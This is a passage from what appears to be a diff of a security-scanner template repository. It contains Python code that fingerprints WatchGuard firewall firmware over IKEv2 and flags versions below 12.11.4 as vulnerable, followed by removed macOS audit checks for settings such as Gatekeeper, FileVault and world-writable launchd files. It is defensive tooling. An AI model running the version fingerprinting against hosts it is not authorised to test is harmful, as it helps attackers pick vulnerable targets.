DH_GROUP_2048_BIT_MODP_WITH_256_BIT_PRIME_ORDER_SUBGROUP = 24
|
||||
RANDOM_ECP_GROUP_192_BIT = 25
|
||||
RANDOM_ECP_GROUP_224_BIT = 26
|
||||
BRAINPOOLP224R1 = 27
|
||||
BRAINPOOLP256R1 = 28
|
||||
BRAINPOOLP384R1 = 29
|
||||
BRAINPOOLP512R1 = 30
|
||||
CURVE25519 = 31
|
||||
CURVE448 = 32
|
||||
GOST3410_2012_256 = 33
|
||||
GOST3410_2012_512 = 34
|
||||
ML_KEM_512 = 35
|
||||
ML_KEM_768 = 36
|
||||
ML_KEM_1024 = 37
|
||||
|
||||
class IkePacker:
|
||||
@staticmethod
|
||||
def header(initiator_spi, responder_spi, next_payload, exchange_type, message_id, version=0x20, flags = 0x08):
|
||||
return struct.pack('>QQBBBBII', initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, 0)
|
||||
|
||||
@staticmethod
|
||||
def payload_header(next_payload, payload, critical = 0):
|
||||
return struct.pack('>BBH', next_payload, critical, 4 + len(payload)) + payload
|
||||
|
||||
@staticmethod
|
||||
def security_association(next_payload, proposal):
|
||||
return IkePacker.payload_header(next_payload, proposal)
|
||||
|
||||
@staticmethod
|
||||
def proposal(next_payload, number, id, transforms = [], spi = b''):
|
||||
b_transforms = b''
|
||||
for transform in transforms:
|
||||
if isinstance(transform, IkeTransform):
|
||||
b_transforms += transform.pack()
|
||||
continue
|
||||
b_transforms += transform
|
||||
return IkePacker.payload_header(next_payload, struct.pack('>BBBB', number, id, len(spi), len(transforms)) + spi + b_transforms)
|
||||
|
||||
@staticmethod
|
||||
def key_exchange(next_payload, dh_group, data, reserved = 0):
|
||||
return IkePacker.payload_header(next_payload, struct.pack('>HH', dh_group, reserved) + data)
|
||||
|
||||
@staticmethod
|
||||
def nonce(next_payload, nonce):
|
||||
return IkePacker.payload_header(next_payload, nonce)
|
||||
|
||||
@staticmethod
|
||||
def notify(next_payload, notify_type, data = b'', protocol_id = 1, spi_size = 0):
|
||||
return IkePacker.payload_header(next_payload, struct.pack('>BBH', protocol_id, spi_size, notify_type) + data)
|
||||
|
||||
@staticmethod
|
||||
def vendor_id(next_payload, vendor_id):
|
||||
return IkePacker.payload_header(next_payload, vendor_id)
|
||||
|
||||
class IkeTransform:
|
||||
def __init__(self, next_payload, transform_type, transform_id, transform_attributes=None, reserved=0):
|
||||
self.next_payload = next_payload
|
||||
self.transform_type = transform_type
|
||||
self.reserved = reserved
|
||||
self.transform_id = transform_id
|
||||
self.transform_attributes = transform_attributes
|
||||
|
||||
def pack(self):
|
||||
transform = struct.pack('>BBH', self.transform_type, self.reserved, self.transform_id)
|
||||
if self.transform_attributes:
|
||||
transform += struct.pack('>I', self.transform_attributes)
|
||||
return IkePacker.payload_header(self.next_payload, transform)
|
||||
|
||||
class IkeResponse:
|
||||
def __init__(self, initiator_spi, responder_spi, version, exchange_type, flags, message_id, length, payloads):
|
||||
self.initiator_spi = initiator_spi
|
||||
self.responder_spi = responder_spi
|
||||
self.version = version
|
||||
self.exchange_type = exchange_type
|
||||
self.flags = flags
|
||||
self.message_id = message_id
|
||||
self.length = length
|
||||
self.payloads = payloads
|
||||
|
||||
def get(self, type):
|
||||
payloads = []
|
||||
for payload in self.payloads:
|
||||
if payload['type'] == type:
|
||||
payloads.append(payload['payload'])
|
||||
return payloads
|
||||
|
||||
class IkeUnpacker:
|
||||
@staticmethod
|
||||
def unpack_payload_header(data):
|
||||
return struct.unpack('>BBH', data[:4])
|
||||
|
||||
@staticmethod
|
||||
def unpack(response):
|
||||
initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, length = struct.unpack('>QQBBBBII', response[:28])
|
||||
raw_payloads = response[28:]
|
||||
|
||||
i = 0
|
||||
payload_type = next_payload
|
||||
payloads = []
|
||||
while i < len(raw_payloads):
|
||||
next_payload, critical, payload_length = IkeUnpacker.unpack_payload_header(raw_payloads[i:i+4])
|
||||
payload = raw_payloads[i+4:i+payload_length]
|
||||
|
||||
if payload_type == PayloadType.VENDOR_ID:
|
||||
payload = payload
|
||||
|
||||
payloads.append({
|
||||
'type': payload_type,
|
||||
'critical': critical,
|
||||
'payload': payload
|
||||
})
|
||||
i += payload_length
|
||||
payload_type = next_payload
|
||||
|
||||
return IkeResponse(
|
||||
initiator_spi,
|
||||
responder_spi,
|
||||
version,
|
||||
exchange_type,
|
||||
flags,
|
||||
message_id,
|
||||
length,
|
||||
payloads
|
||||
)
|
||||
|
||||
class IkeCrypto:
|
||||
def __init__(self):
|
||||
self.initiator_nonce = self.generate_nonce(32)
|
||||
self.initiator_spi = random.randint(0, 0xffffffffffffffff)
|
||||
self.responder_spi = 0x0000000000000000
|
||||
self.client_private_key = None
|
||||
self.client_public_key = None
|
||||
self.client_public_key_bytes = None
|
||||
self.generate_keys = self.dh_modp_14_generate_keys
|
||||
self.generate_keys()
|
||||
|
||||
def generate_nonce(self, length=32):
|
||||
return random.getrandbits(length * 8).to_bytes(length, 'big')
|
||||
|
||||
def dh_modp_14_generate_keys(self):
|
||||
p_hex = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF'
|
||||
self.p = int(p_hex, 16)
|
||||
if self.p.bit_length() != 2048:
|
||||
self.p = self.p >> (self.p.bit_length() - 2048)
|
||||
g = 2
|
||||
self.client_private_key = random.randint(1, self.p - 1)
|
||||
self.client_public_key = pow(g, self.client_private_key, self.p)
|
||||
public_key_bit_length = self.client_public_key.bit_length()
|
||||
public_key_byte_length = (public_key_bit_length + 7) // 8
|
||||
if public_key_byte_length > 256:
|
||||
raise ValueError(f"Public key too large: {public_key_byte_length} bytes (max 256)")
|
||||
self.client_public_key_bytes = self.client_public_key.to_bytes(public_key_byte_length, 'big').rjust(256, b'\x00')
|
||||
|
||||
class IkeException(Exception):
|
||||
pass
|
||||
|
||||
class IkeNoProposalChosenException(IkeException):
|
||||
pass
|
||||
|
||||
class IkeInvalidKEPayloadException(IkeException):
|
||||
pass
|
||||
|
||||
class Ike:
|
||||
def __init__(self, ip, port, timeout = 5):
|
||||
self.ip = ip
|
||||
self.port = port
|
||||
self.timeout = timeout
|
||||
self.crypto = None
|
||||
self.sock = None
|
||||
self.reset()
|
||||
|
||||
@staticmethod
|
||||
def update_request_length(request):
|
||||
total_length = len(request)
|
||||
return request[:24] + struct.pack('>I', total_length) + request[28:]
|
||||
|
||||
def reset(self):
|
||||
if self.sock != None:
|
||||
self.close()
|
||||
self.crypto = IkeCrypto()
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self.sock.settimeout(self.timeout)
|
||||
|
||||
def send(self, packet):
|
||||
self.sock.sendto(packet, (self.ip, self.port))
|
||||
response, addr = self.sock.recvfrom(65535)
|
||||
return IkeUnpacker.unpack(response)
|
||||
|
||||
def close(self):
|
||||
self.sock.close()
|
||||
self.sock = None
|
||||
|
||||
def sa_init(self):
|
||||
global FW_VERSION, BUILD_NUMBER
|
||||
dh_group = DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value
|
||||
key_exchange = self.crypto.client_public_key_bytes
|
||||
transforms = [
|
||||
IkeTransform(PayloadType.TRANSFORM, TransformType.ENCRYPTION_ALGORITHM, EncryptionAlgorithm.ENCR_AES_CBC.value, 0x800e0100),
|
||||
IkeTransform(PayloadType.TRANSFORM, TransformType.PSEUDO_RANDOM_FUNCTION, PseudoRandomFunction.PRF_HMAC_SHA2_256.value),
|
||||
IkeTransform(PayloadType.TRANSFORM, TransformType.INTEGRITY_ALGORITHM, IntegrityAlgorithm.AUTH_HMAC_SHA2_256_128.value),
|
||||
IkeTransform(PayloadType.NONE, TransformType.DIFFIE_HELLMAN_GROUP, DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value),
|
||||
]
|
||||
|
||||
r = self.send(Ike.update_request_length(
|
||||
IkePacker.header(self.crypto.initiator_spi, self.crypto.responder_spi, PayloadType.SECURITY_ASSOCIATION, ExchangeType.IKE_SA_INIT, 0) +
|
||||
IkePacker.security_association(PayloadType.KEY_EXCHANGE, IkePacker.proposal(PayloadType.NONE, 1, 1, transforms)) +
|
||||
IkePacker.key_exchange(PayloadType.NONCE, dh_group, key_exchange) +
|
||||
IkePacker.nonce(PayloadType.NOTIFY, self.crypto.initiator_nonce) +
|
||||
IkePacker.notify(PayloadType.NOTIFY, NotifyType.NAT_DETECTION_DESTINATION_IP, bytes.fromhex('a6358d813592fdd80a9aaa3390f39c8a5a76b6e4')) +
|
||||
IkePacker.notify(PayloadType.VENDOR_ID, NotifyType.NAT_DETECTION_SOURCE_IP, bytes.fromhex('4cc324152ba3f68ef649ac1e6f96f33791611db2')) +
|
||||
IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c590254e5403cbb71f3d493111d7fcad')) +
|
||||
IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c61baca1f1a60cc10800000000000000')) +
|
||||
IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3c0000000')) +
|
||||
IkePacker.vendor_id(PayloadType.NOTIFY, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3')) +
|
||||
IkePacker.notify(PayloadType.NOTIFY, NotifyType.IKEV2_FRAGMENTATION_SUPPORTED, protocol_id = 0) +
|
||||
IkePacker.notify(PayloadType.NOTIFY, NotifyType.REDIRECT_SUPPORTED, protocol_id = 0) +
|
||||
IkePacker.notify(PayloadType.NONE, NotifyType.SIGNATURE_HASH_ALGORITHMS, bytes.fromhex('0001000200030004'), protocol_id = 0)
|
||||
))
|
||||
|
||||
if FW_VERSION == None:
|
||||
vendors = r.get(PayloadType.VENDOR_ID)
|
||||
for vendor in vendors:
|
||||
if len(vendor) > 32 and vendor[:8].hex() == 'bfc22e9856ba9936':
|
||||
try:
|
||||
watchguard_data = base64.b64decode(vendor[32:].decode('ascii')).decode()
|
||||
match = re.search(r"VN=([0-9\.]+) BN=([0-9]+)", watchguard_data)
|
||||
if match:
|
||||
FW_VERSION = match.group(1)
|
||||
BUILD_NUMBER = match.group(2)
|
||||
|
||||
if WatchGuardFw.version_tuple(FW_VERSION) < WatchGuardFw.version_tuple("12.11.4"):
|
||||
return True, FW_VERSION, BUILD_NUMBER
|
||||
else:
|
||||
return False, FW_VERSION, BUILD_NUMBER
|
||||
except (UnicodeDecodeError, binascii.Error):
|
||||
continue
|
||||
|
||||
notifications = r.get(PayloadType.NOTIFY)
|
||||
for notification in notifications:
|
||||
if notification.message_type == NotifyType.NO_PROPOSAL_CHOSEN:
|
||||
raise IkeNoProposalChosenException()
|
||||
if notification.message_type == NotifyType.INVALID_KE_PAYLOAD:
|
||||
raise IkeInvalidKEPayloadException()
|
||||
|
||||
return None, None, None
|
||||
|
||||
def test_connection(ip, port, timeout=20):
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(timeout)
|
||||
sock.connect((ip, port))
|
||||
sock.close()
|
||||
return True
|
||||
except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
result = sock.connect_ex((ip, port))
|
||||
sock.close()
|
||||
return result == 0
|
||||
except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
|
||||
return False
|
||||
|
||||
def check_watchguard_version(ip, port=500, timeout=10, connection_timeout=20):
|
||||
global FW_VERSION, BUILD_NUMBER
|
||||
FW_VERSION = None
|
||||
BUILD_NUMBER = None
|
||||
|
||||
if not test_connection(ip, port, connection_timeout):
|
||||
return False, None, None
|
||||
|
||||
ike = Ike(ip, port, timeout)
|
||||
|
||||
try:
|
||||
is_vulnerable, fw_version, build_number = ike.sa_init()
|
||||
return is_vulnerable, fw_version, build_number
|
||||
except TimeoutError:
|
||||
logging.error(f"[-] {ip}:{port} - IKEv2 timeout")
|
||||
return False, None, None
|
||||
except IkeNoProposalChosenException:
|
||||
logging.warning(f"[!] {ip}:{port} - IKEv2 service found but no proposal chosen")
|
||||
return False, None, None
|
||||
except IkeInvalidKEPayloadException:
|
||||
logging.warning(f"[!] {ip}:{port} - IKEv2 service found but invalid KE payload")
|
||||
return False, None, None
|
||||
except Exception as e:
|
||||
logging.error(f"[-] {ip}:{port} - Error: {e}")
|
||||
return False, None, None
|
||||
finally:
|
||||
ike.close()
|
||||
|
||||
def main():
|
||||
host = os.getenv("Host")
|
||||
port = os.getenv("Port")
|
||||
|
||||
# Set default port to 500 if Port environment variable is not set
|
||||
if port is None or port == "":
|
||||
port = "500"
|
||||
|
||||
try:
|
||||
is_vulnerable, fw_version, build_number = check_watchguard_version(host, int(port))
|
||||
|
||||
if is_vulnerable is True:
|
||||
print(f"Vulnerable to Version {fw_version} (Build {build_number})")
|
||||
elif is_vulnerable is False:
|
||||
print(f"NOT VULN to Version {fw_version} (Build {build_number})")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"[-] {host}:{port or 500} - Error: {e}")
|
||||
logging.info(f"[?] {host}:{port or 500} - ERROR")
|
||||
logging.info(f" Status: Error occurred during check")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Vulnerable"
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
# digest: 490a0046304402200b20b5e843543b5c93b206a8371f1e4ba414338ffba73b9802ce6f607c792a1c022011bdd0baafcaafea5825557eb2878d8301fd5618033a17af7f28316310629452:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,34 +0,0 @@
|
||||
id: auto-login-enabled
|
||||
|
||||
info:
|
||||
name: macOS Automatic Login Enabled
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Checks if automatic login is enabled on macOS, allowing users to log in to the system without entering a password upon startup.
|
||||
impact: |
|
||||
Enabling automatic login can lead to unauthorized access to the user's account and data if the device is physically accessed.
|
||||
remediation: |
|
||||
Disable automatic login to require a password at startup and enhance physical security.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser 2>&1
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "does not exist"
|
||||
negative: true
|
||||
# digest: 4a0a0047304502206e4abbed2d196fdcfbec430b63cb79ec4c970a766ae1dfa5699ed88c1df29841022100be4e6fe238b571547044d2a5d05526f69078c3f5536e4702b018e13149db8a7a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: filevault-disabled
|
||||
|
||||
info:
|
||||
name: macOS FileVault Disabled
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Identifies if FileVault full-disk encryption is disabled on macOS, leaving data unprotected from unauthorized access.
|
||||
impact: |
|
||||
Disabling FileVault leaves the data on the disk unencrypted and vulnerable to theft or unauthorized access if the device is lost or stolen.
|
||||
remediation: |
|
||||
Enable FileVault to encrypt the entire disk and protect the data at rest.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
fdesetup status
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "FileVault is Off."
|
||||
# digest: 4b0a00483046022100dbeda953db252023089741b1ebc7bfe9469e933be51e45c78375eb388a18e01d022100b08c18ef3cbd1adefb1455ae1b792c1647dba4be6856925de6508a35c4066c05:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: firewall-disabled
|
||||
|
||||
info:
|
||||
name: macOS Application Firewall Disabled
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Verifies if the macOS application firewall is disabled, removing protection against unauthorized network access by applications.
|
||||
impact: |
|
||||
Disabling the firewall can allow malicious applications to make outbound connections and expose the system to network-based attacks.
|
||||
remediation: |
|
||||
Enable the macOS application firewall to control network access for applications.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Firewall is disabled. (State = 0)"
|
||||
# digest: 4b0a00483046022100fec597c208922cff8c5bf96d23a75c06d1192ecc31c5f257bd72cda4b05c3678022100b2899ee2431e105ca31f924e76bc446fa025a9c64b0f62c5268e06af0859be81:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: gatekeeper-disabled
|
||||
|
||||
info:
|
||||
name: macOS Gatekeeper Disabled
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Checks if Gatekeeper is disabled on macOS, removing verification that downloaded applications are from identified developers.
|
||||
impact: |
|
||||
Disabling Gatekeeper allows the execution of applications from unverified sources, increasing the risk of malware infection.
|
||||
remediation: |
|
||||
Enable Gatekeeper to ensure that only applications from identified developers can be run.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
spctl --status
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "assessments disabled"
|
||||
# digest: 4b0a00483046022100c13d86b99f8f878a28f12b93336ffc8b2041992d8469e55e5f4253fe313aaf920221009d4860d4ef526c896fd5ca9018bfec060b55f363a0e8efe3bdbe53c6673bc5ec:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,31 +0,0 @@
|
||||
id: guest-user-enabled
|
||||
|
||||
info:
|
||||
name: macOS Guest User Enabled
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Identifies if the guest user account is enabled on macOS, allowing anyone to use the computer without authentication.
|
||||
impact: |
|
||||
Enabling the guest user account can allow unauthorized users to access the system with limited, but potentially risky, privileges.
|
||||
remediation: |
|
||||
Disable the guest user account to reduce the risk of unauthorized access.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
defaults read /Library/Preferences/com.apple.loginwindow GuestEnabled 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^1$"
|
||||
# digest: 4a0a00473045022100b56ce36c9516138969ae1baa1b6472abc91525849b6ebf9b1fcfed3a5921a45c0220475f29d019df5ace5aca8e06548449de2807ecdf682073423a0e4c7f4763db8d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-cron-jobs
|
||||
|
||||
info:
|
||||
name: macOS World-Writable Cron Jobs
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Finds world-writable cron job files on macOS that can be modified by any user on the system.
|
||||
impact: |
|
||||
World-writable cron job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
|
||||
remediation: |
|
||||
Review and correct the permissions of world-writable cron job files.
|
||||
tags: macos,audit,local,security,cron
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find /etc/crontab /var/at/tabs/ -perm -o+w -type f -ls 2>/dev/null
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
|
||||
# digest: 490a00463044022075a77d80b297101e767baa7a3df6a47b36d346be38b58abdd7ea504b7f8b49cb022079d8770c2062a09b57c244e78b22dab6f546cf4d9274013e66ee3dc2baef18b0:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: insecure-etc-exports-permissions
|
||||
|
||||
info:
|
||||
name: macOS Insecure /etc/exports Permissions
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Identifies insecure permissions on the /etc/exports file used to configure NFS exports on macOS.
|
||||
impact: |
|
||||
Insecure permissions on /etc/exports could allow unauthorized users to modify the file and gain access to exported filesystems.
|
||||
remediation: |
|
||||
Ensure that the /etc/exports file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
|
||||
tags: macos,audit,local,security,nfs
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /etc/exports 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
|
||||
negative: true
|
||||
# digest: 4a0a00473045022100f0a90c14abd2b8151c008c14b461df041bd982ed2afe14cdb307fafb20f8934e0220363866f2cc52ca7b8ac63e881c4352af6b44aadf4571832c3cac632cf8a3fbdb:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: insecure-etc-fstab-permissions
|
||||
|
||||
info:
|
||||
name: macOS Insecure /etc/fstab Permissions
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Validates permissions on the /etc/fstab file that defines how disk partitions and filesystems are mounted on macOS.
|
||||
impact: |
|
||||
Insecure permissions on /etc/fstab could allow unauthorized users to modify the file and mount malicious filesystems.
|
||||
remediation: |
|
||||
Ensure that the /etc/fstab file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /etc/fstab 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
|
||||
negative: true
|
||||
# digest: 4a0a00473045022100f63b670201e473559afe079d0f0944bd69bb9c3e624727ade721819c25bef59402205cfe065102455e15e4e85727ea9d8d59c11730662b81b8706d5e4cfd710db02f:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: insecure-etc-hostconfig-permissions
|
||||
|
||||
info:
|
||||
name: macOS Insecure /etc/hostconfig Permissions
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Evaluates permissions on the /etc/hostconfig file used to configure system services on macOS.
|
||||
impact: |
|
||||
Insecure permissions on /etc/hostconfig could allow unauthorized users to modify the file and reconfigure system services.
|
||||
remediation: |
|
||||
Ensure that the /etc/hostconfig file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /etc/hostconfig 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
|
||||
negative: true
|
||||
# digest: 4b0a00483046022100d47f5829d759ebef3fbef226cb5a917a07bfff78791407217fd529a265a81876022100cb5bff86e6fa1eaf80f0f189250c9e59236c5c3f074d0499c96d642e6be6e1eb:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: insecure-etc-inetd-conf-permissions
|
||||
|
||||
info:
|
||||
name: macOS Insecure /etc/inetd.conf Permissions
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Verifies permissions on the /etc/inetd.conf file used to configure the inetd daemon on macOS.
|
||||
impact: |
|
||||
Insecure permissions on /etc/inetd.conf could allow unauthorized users to modify the file and enable or disable network services.
|
||||
remediation: |
|
||||
Ensure that the /etc/inetd.conf file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /etc/inetd.conf 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
|
||||
negative: true
|
||||
# digest: 490a0046304402203a17f921ddd73a973258b7a7fe563d18218462436e060a5b6d27111c18f26f46022035c897ff32e61af7c5bf2dfd63b3c5c318182e88ce292d46962b404675dd93cc:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-homebrew-permissions
|
||||
|
||||
info:
|
||||
name: macOS World-Writable Homebrew Files
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Scans for world-writable files in the Homebrew directory that could be exploited for privilege escalation.
|
||||
impact: |
|
||||
World-writable files in the Homebrew directory can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
|
||||
remediation: |
|
||||
Review and correct the permissions of world-writable files in the Homebrew directory.
|
||||
tags: macos,audit,local,security,homebrew
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find $(brew --prefix)/ -perm -o+w -type f -ls 2>/dev/null
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
|
||||
# digest: 4a0a0047304502201b6cc3d198cfe7d9f9285a73a3b9fcc416e015ee4418aa7dd46510903c057e68022100800ba72c60fd91ae271f6c627f2c147ff7082f01cde9ef3725453ceb802c1219:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-launchd-jobs
|
||||
|
||||
info:
|
||||
name: macOS World-Writable Launchd Jobs
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Searches for world-writable launchd job files on macOS that allow modification by any user.
|
||||
impact: |
|
||||
World-writable launchd job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
|
||||
remediation: |
|
||||
Review and correct the permissions of world-writable launchd job files.
|
||||
tags: macos,audit,local,security,launchd
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find /System/Library/LaunchDaemons/ /System/Library/LaunchAgents/ /Library/LaunchDaemons/ /Library/LaunchAgents/ ~/Library/LaunchAgents/ -perm -o+w -type f -ls 2>/dev/null
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
|
||||
# digest: 4a0a00473045022100d79cf12bf41b029f55016ee394b8bbe07438a24579d556e97b47fb4cf336c2f102204ddd8161cde0e4501b0af970e45f01dd08aa1146117665257d4e8afd6d2ba8fc:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-startup-items
|
||||
|
||||
info:
|
||||
name: macOS World-Writable Startup Items
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Identifies world-writable startup items on macOS that can be tampered with by unprivileged users.
|
||||
impact: |
|
||||
World-writable startup items can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
|
||||
remediation: |
|
||||
Review and correct the permissions of world-writable startup items.
|
||||
tags: macos,audit,local,security,startup
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find /System/Library/StartupItems/ /Library/StartupItems/ -perm -o+w -type f -ls 2>/dev/null
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
|
||||
# digest: 4a0a00473045022100cdffabfeaa894e26f8e25b8f0e6f3eb621ef7ba02088001a384c45791c7a3be002206670aa650962df9af70ced787fa9058d9e6a5c2573bf3aca920e4eb466b3741d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-sudo-timestamp
|
||||
|
||||
info:
|
||||
name: macOS Excessive Sudo Timestamp Timeout
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Checks if the sudo timestamp timeout is configured to an excessively long duration (100+ minutes).
|
||||
impact: |
|
||||
A long sudo timestamp can allow a user to execute commands with root privileges for an extended period of time without re-entering their password.
|
||||
